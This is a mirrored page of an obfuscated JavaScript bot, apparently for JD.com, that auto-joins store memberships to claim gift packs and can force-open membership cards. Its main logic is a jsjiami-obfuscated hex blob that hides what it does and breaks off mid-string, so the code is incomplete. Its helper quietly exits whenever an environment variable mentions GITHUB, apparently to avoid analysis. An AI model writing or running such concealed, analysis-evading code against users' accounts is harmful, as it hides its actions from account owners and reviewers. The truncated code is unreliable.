mirror of https://github.com/KingRan/KR.git
23 lines
107 KiB
JavaScript
23 lines
107 KiB
JavaScript
|
/*
|
|||
|
入会开卡领取礼包(通用)
|
|||
|
|
|||
|
VENDER_ID // venderId或vendorId的值,多个用&、@或逗号连接,但是不要混用
|
|||
|
OPENCARD_BEAN="" 最小入会值 (默认10)
|
|||
|
OPENCARD_QZ="true" 填写此变量强制开卡,不填写不开启
|
|||
|
|
|||
|
cron:11 11 11 11 *
|
|||
|
============Quantumultx===============
|
|||
|
[task_local]
|
|||
|
#入会开卡领取礼包(通用)
|
|||
|
11 11 11 11 * jd_OpenCard_Force.js, tag=入会开卡领取礼包(通用), enabled=true
|
|||
|
|
|||
|
|
|||
|
*/
|
|||
|
|
|||
|
const $ = new Env('入会开卡领取礼包');
|
|||
|
|
|||
|
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxf296b=["\x6A\x73\x6A\x69\x61\x6D\x69\x2E\x63\x6F\x6D\x2E\x76\x36","\u202E\x5F\x30\x78\x6F\x64\x43","\x77\x72\x4A\x58\x50\x38\x4B\x42\x51\x67\x3D\x3D","\x53\x73\x4B\x54\x54\x79\x6E\x44\x69\x67\x3D\x3D","\x77\x71\x4E\x49\x4E\x4D\x4B\x76\x41\x63\x4F\x49","\x44\x6C\x45\x66\x77\x37\x46\x6C","\x44\x73\x4B\x45\x77\x72\x51\x3D","\x77\x37\x48\x44\x6F\x63\x4F\x57\x77\x72\x7A\x44\x73\x63\x4B\x56\x77\x35\x30\x3D","\x77\x6F\x66\x44\x6B\x56\x41\x68\x61\x69\x38\x3D","\x77\x72\x52\x64\x41\x38\x4B\x57\x52\x4D\x4B\x37","\x4D\x69\x4A\x6E\x77\x34\x52\x55\x77\x37\x66\x43\x70\x6C\x38\x3D","\x77\x72\x58\x43\x6D\x73\x4B\x79\x77\x34\x6A\x43\x68\x38\x4F\x38","\x46\x68\x70\x38\x4D\x7A\x42\x62\x4F\x4D\x4F\x35","\x4C\x6E\x4D\x63\x77\x36\x5A\x66\x77\x35\x62\x44\x74\x58\x50\x44\x71\x67\x66\x44\x6D\x58\x49\x71\x4E\x41\x3D\x3D","\x77\x35\x5A\x74\x48\x4D\x4B\x79\x62\x38\x4F\x33\x77\x37\x37\x43\x68\x43\x4D\x3D","\x77\x37\x63\x64\x77\x35\x64\x4C\x77\x72\x6C\x57\x77\x36\x63\x3D","\x77\x70\x72\x43\x74\x4D\x4F\x34","\x77\x37\x6E\x43\x67\x33\x7A\x44\x6F\x38\x4B\x31\x77\x35\x6A\x44\x6E\x67\x3D\x3D","\x42\x38\x4B\x5A\x77\x71\x48\x43\x69\x6E\x50\x44\x73\x6D\x55\x74\x77\x6F\x42\x38\x4B\x38\x4B\x77\x4A\x67\x3D\x3D","\x77\x71\x6A\x43\x6A\x30\x30\x75\x51\x7A\x37\x44\x6D\x41\x3D\x3D","\x59\x38\x4F\x4D\x77\x70\x31\x6C\x77\x37\x66\x43\x73\x43\x73\x72","\x77\x36\x70\x6D\x77\x34\x63\x6B\x4F\x41\x3D\x3D","\x77\x70\x66\x44\x6C\x6C\x55\x73\x56\x41\x3D\x3D","\x77\x6F\x74\x39\x77\x34\x48\x43\x74\x30\x78\x63","\x4E\x46\x31\x56\x47\x6A\x46\x74\x77\x72\x46\x6A","\x77\x37\x54\x44\x6E\x7A\x45\x3D","\x35\x59\x65\x44\x35\x4C\x79\x46\x36\x49\x2B\x43\x35\x62\x32\x66\x37\x37\x79\x51","\x64\x63\x4B\x77\x46\x73\x4F\x68\x59\x73\x4F\x46\x77\x36\x72\x44\x70\x55\x51\x3D","\x48\x4D\x4B\x45\x59\x77\x3D\x3D","\x77\x34\x68\x2B\x47\x4D\x4B\x74","\x77\x71\x62\x44\x75\x38\x4F\x4F\x77\x71\x38\x4B","\x77\x36\x50\x44\x6B\x63\x4F\x6C\x42\x32\x41\x3D","\x77\x70\x58\x43\x72\x4D\x4B\x53\x77\x37\x2F\x43\x70\x51\x3D\x3D","\x77\x71\x37\x43\x73\x77\x66\x43\x73\x73\x4B\x64","\x66\x57\x49\x4B\x65\x63\x4F\x54\x77\x36\x30\x3D","\x4B\x38\x4B\x74\x56\x43\x6A\x44\x76\x77\x3D\x3D","\x35\x59\x57\x45\x35\x4C\x2B\x78\x36\x49\x36\x38\x35\x62\x2B\x2F\x37\x37\x36\x68","\x50\x63\x4B\x4A\x55\x77\x62\x44\x6C\x4D\x4B\x59\x62\x33\x39\x76\x77\x35\x33\x43\x6F\x73\x4B\x4C\x4E\x38\x4F\x6E","\x45\x63\x4B\x4F\x77\x72\x44\x43\x69\x6D\x2F\x44\x6E\x45\x59\x74\x77\x6F\x42\x4B\x42\x38\x4B\x36\x4A\x63\x4F\x2F","\x77\x35\x31\x78\x77\x36\x55\x7A\x50\x73\x4F\x4B\x77\x37\x30\x3D","\x50\x38\x4B\x6C\x4C\x51\x3D\x3D","\x77\x36\x30\x69\x4E\x48\x44\x43\x70\x30\x4D\x6B","\x58\x73\x4F\x68\x77\x71\x46\x54\x77\x36\x34\x3D","\x56\x73\x4B\x61\x58\x53\x33\x44\x76\x77\x3D\x3D","\x50\x55\x34\x38\x77\x36\x5A\x30","\x48\x52\x78\x39","\x56\x4D\x4F\x2F\x55\x63\x4B\x32\x59\x77\x3D\x3D","\x4F\x57\x34\x4F\x77\x37\x46\x46\x77\x35\x44\x44\x6D\x47\x6A\x44\x6E\x52\x59\x3D","\x56\x63\x4B\x48\x77\x72\x42\x4C\x50\x43\x30\x51","\x4E\x63\x4B\x50\x52\x77\x3D\x3D","\x77\x70\x33\x44\x73\x33\x4D\x79\x61\x77\x3D\x3D","\x77\x6F\x66\x43\x6F\x43\x37\x43\x6E\x38\x4B\x75","\x49\x4D\x4B\x64\x41\x7A\x49\x35","\x64\x4D\x4F\x6C\x48\x63\x4F\x6A\x63\x77\x3D\x3D","\x43\x38\x4B\x78\x77\x35\x66\x44\x6D\x38\x4B\x4C","\x77\x37\x7A\x43\x6F\x45\x6A\x44\x6C\x4D\x4B\x32","\x34\x34\x4F\x49\x36\x4C\x4B\x55\x35\x62\x47\x2B\x35\x4C\x71\x34\x34\x34\x47\x71","\x36\x4C\x43\x33\x34\x34\x47\x69\x37\x37\x79\x57\x35\x4C\x6D\x4B\x35\x59\x53\x63\x47\x33\x44\x43\x75\x41\x3D\x3D","\x62\x73\x4F\x4B\x77\x70\x4A\x2F\x77\x36\x6A\x43\x75\x79\x4D\x67\x77\x34\x2F\x44\x6D\x4D\x4B\x39\x55\x41\x3D\x3D","\x77\x36\x44\x43\x72\x6D\x67\x67\x77\x37\x33\x44\x70\x73\x4F\x55\x4A\x45\x74\x56\x4B\x73\x4B\x61","\x4A\x4D\x4B\x57\x77\x6F\x42\x4F\x77\x72\x6E\x44\x74\x38\x4F\x62\x50\x6A\x48\x43\x70\x38\x4F\
|
|||
|
|
|||
|
// prettier-ignore
|
|||
|
function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"])
|